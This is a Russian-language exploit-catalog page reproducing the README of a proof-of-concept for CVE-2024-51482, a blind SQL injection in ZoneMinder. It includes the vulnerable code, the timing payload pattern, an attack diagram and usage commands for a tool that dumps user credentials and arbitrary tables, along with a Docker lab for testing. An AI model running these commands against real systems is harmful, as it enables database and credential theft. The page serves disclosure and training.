Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-51482-POC — PoC временной SQL-инъекции для CVE-2024-51482 в ZoneMinder, с воспроизводимой Docker-лабораторией и автоматизированным извлечением данных. | Kitploit
Инструменты/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

PoC временной SQL-инъекции для CVE-2024-51482 в ZoneMinder, с воспроизводимой Docker-лабораторией и автоматизированным извлечением данных.

Репозиторий
7195 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, является незаконным.


Содержание

  • ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482
    • Содержание
    • Обзор
    • Детали уязвимости
      • CVE-2024-51482 — Time-Based Blind SQL Injection
      • Корневая причина
      • Вектор атаки
    • Структура репозитория
    • Требования
    • Установка
      • PoC
      • Docker Lab
    • Использование
      • Поведение по умолчанию
      • Экран справки
      • Команды
      • Параметры вывода
      • Справочник флагов
      • Полный пример
      • Заметки
      • Docker Lab
    • Пример вывода
    • Устранение
      • Для этой CVE
      • Для аналогичных уязвимостей
    • График раскрытия
    • Ссылки

Обзор

Этот репозиторий содержит PoC time-based SQL инъекции, нацеленной на ZoneMinder.

Инструмент позволяет:

  • Проверку уязвимости
  • Перечисление баз данных
  • Обнаружение таблиц и столбцов
  • Полный дамп таблиц
  • Экспорт в CSV

Также включает полностью воспроизводимую Docker-лабораторию для безопасного тестирования.


Детали уязвимости

CVE-2024-51482 — Time-Based Blind SQL Injection

  • CVE ID: CVE-2024-51482
  • CVSS v3.1 Score: 10.0 (Critical)
  • Тип уязвимости: Time-Based Blind SQL Injection
  • Затронутые версии: ZoneMinder v1.37.* <= 1.37.64
  • Вектор атаки: Аутентифицированный эндпоинт (removetag)
  • Воздействие: Полное раскрытие базы данных, компрометация целостности данных
  • Требуется аутентификация: Да (достаточно пользователя с низкими привилегиями)

Корневая причина

ZoneMinder — это бесплатное программное обеспечение с открытым исходным кодом для систем видеонаблюдения. Уязвимость возникает из-за недостаточной проверки входных данных в эндпоинте removetag. Вводимые пользователем данные напрямую включаются в SQL-запросы без должной санитизации или параметризации, что позволяет злоумышленникам внедрять вредоносные boolean-based SQL-нагрузки. Эксплойт использует:

SLEEP(x - IF(condition, 0, x))

для извлечения данных через задержки ответа.

Фрагмент уязвимого кода из уведомления разработчиков Github:

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Вектор атаки

Атакующий                              Веб-приложение ZoneMinder
   │                                         │
   │  [Auth]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← аутентифицированная сессия
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               Выполнение SQL boolean-запроса
   │                               IF(условие, без задержки, SLEEP)
   │◄────────────────────────────────────────│
   │  Задержанный ответ (timing oracle)      │  ← условие определено
   │                                         │
   │  Повторные запросы                      │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Различия во времени раскрывают символы │
   │                                         │
   │  Бинарный поиск по каждому символу      │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Извлечённые данные (по 1 символу)      │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Полное раскрытие базы данных           │
   │                                         │
   ✓  Полная эксфильтрация данных через blind SQLi

Структура репозитория

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

Требования

  • Python 3.8+
  • requests
  • Docker и docker-compose (для лабораторной среды)

Установка

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Docker Lab

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Настройте переменные окружения
docker compose up -d

Использование

Поведение по умолчанию

Без указания флагов инструмент аутентифицируется на цели, проверяет её уязвимость и, если она уязвима, выполняет дамп столбцов ID, Username, Password, Name и Email из таблицы zm.Users (команда dump-users).

python exploit.py -t http://target/zm -u <username> -p <password>

Экран справки

python exploit.py -h

Команды

check

Только проверяет, уязвима ли цель.

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

Выполняет дамп столбцов ID, Username, Password, Name и Email из таблицы zm.Users. Команда по умолчанию, если не указана другая.

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

Выводит все базы данных.

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

Выводит таблицы в указанной базе данных.

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

Выводит столбцы указанной таблицы.

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

dump-table

Выполняет дамп всех данных из указанной таблицы.

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

Также можно указать столбцы для дампа (по умолчанию — все):

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

Параметры вывода

Скачать инструмент